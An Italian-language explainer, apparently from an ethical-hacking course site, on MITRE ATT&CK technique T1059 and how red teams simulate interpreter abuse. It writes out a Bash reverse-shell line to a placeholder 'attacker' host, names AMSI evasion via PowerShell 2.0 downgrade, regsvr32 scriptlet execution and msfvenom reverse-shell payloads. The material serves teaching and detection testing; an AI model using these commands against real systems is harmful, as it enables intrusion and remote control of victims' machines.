Iscriviti al webinar gratuito del 20 Ottobre per diventare Ethical Hacker! Scopri di più
Interpreti di Comandi e Script: Command and Scripting Interpreter (T1059)
La tecnica T1059 - Command and Scripting Interpreter rappresenta uno dei vettori di esecuzione più abusati nell'intero framework MITRE ATT&CK, con 17 gruppi APT documentati, 22 famiglie di malware e 4 campagne rilevanti che ne fanno uso sistematico. La tecnica si colloca nella tattica TA0002 (Execution) e sfrutta interpreti nativi presenti in ogni sistema operativo: PowerShell e Windows Command Shell su Windows, le varianti di Unix Shell su Linux e macOS, oltre a interpreti cross-platform come Python, Perl, Ruby, JavaScript e Visual Basic.
L'abuso di questi interpreti è particolarmente insidioso perché si mimetizza nell'attività amministrativa legittima. Un attaccante può incorporare comandi in payload di Initial Access come documenti esca, scaricare script secondari da un canale C2, oppure eseguire comandi in modo interattivo tramite servizi remoti. La versatilità della tecnica la rende trasversale a tutte le fasi della kill chain, dall'esecuzione iniziale alla persistenza, dal movimento laterale all'esfiltrazione.
Le conseguenze operative sono significative: campagne come Operation Spalax, Cutting Edge, ArcaneDoor e FLORAHOX Activity hanno dimostrato come l'abuso di interpreti consenta l'esecuzione di codice arbitrario su infrastrutture critiche, appliance di rete e router IoT, spesso in modalità living-off-the-land che elude i controlli tradizionali basati su firma.
Per un red team la sfida è simulare l'abuso di interpreti in modo realistico, riproducendo le tecniche osservate nei gruppi documentati senza incorrere in detection banali. Su Windows il punto di partenza rimane PowerShell, dove la codifica Base64 dei comandi viene invocata con powershell.exe -EncodedCommand
Per eludere AMSI e Constrained Language Mode conviene testare bypass noti in laboratorio, ad esempio downgrade a PowerShell 2.0 con powershell.exe -Version 2, ancora presente su molti Windows Server. La chiamata a Windows Script Host tramite wscript.exe o cscript.exe per eseguire file JScript/VBScript rimane una tecnica documentata per gruppi come Saint Bear, così come i file SCT utilizzati da APT19 e le COM scriptlet di APT32 eseguibili via regsvr32.exe /s /i:<file.sct> scrobj.dll.
Su Linux e macOS lo strumento principale è la shell stessa. Una reverse shell in Bash si ottiene con la sintassi classica bash -i >& /dev/tcp/attacker/4444 0>&1, mentre gruppi come Fox Kitten e Windigo hanno usato Perl per lo stesso scopo. Python offre alternative altrettanto compatte con il modulo socket; per generare reverse shell portabili si può usare msfvenom (open source, incluso in Metasploit Framework) con payload come cmd/unix/reverse_bash o python/meterpreter/reverse_tcp.
Su ESXi l'accesso alla shell tramite SSH consente l'esecuzione di comandi esxcli e l'uso di BusyBox per operazioni post-exploitation su hypervisor, scenario emerso in numerose campagne ransomware. Su appliance di rete Cisco e Juniper l'accesso in modalità enable apre l'esecuzione di comandi CLI, come osservato in ArcaneDoor.
Per la fase di weaponization, Donut (open source) genera shellcode eseguibile tramite Ruby o direttamente in memoria, mentre Sliver (open source) fornisce un'alternativa moderna a Cobalt Strike con supporto multi-piattaforma. In laboratorio è utile validare le catene con Atomic Red Team (open source), che include test specifici per T1059 e sotto-tecniche, permettendo di misurare la reale copertura di detection prima di un engagement.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.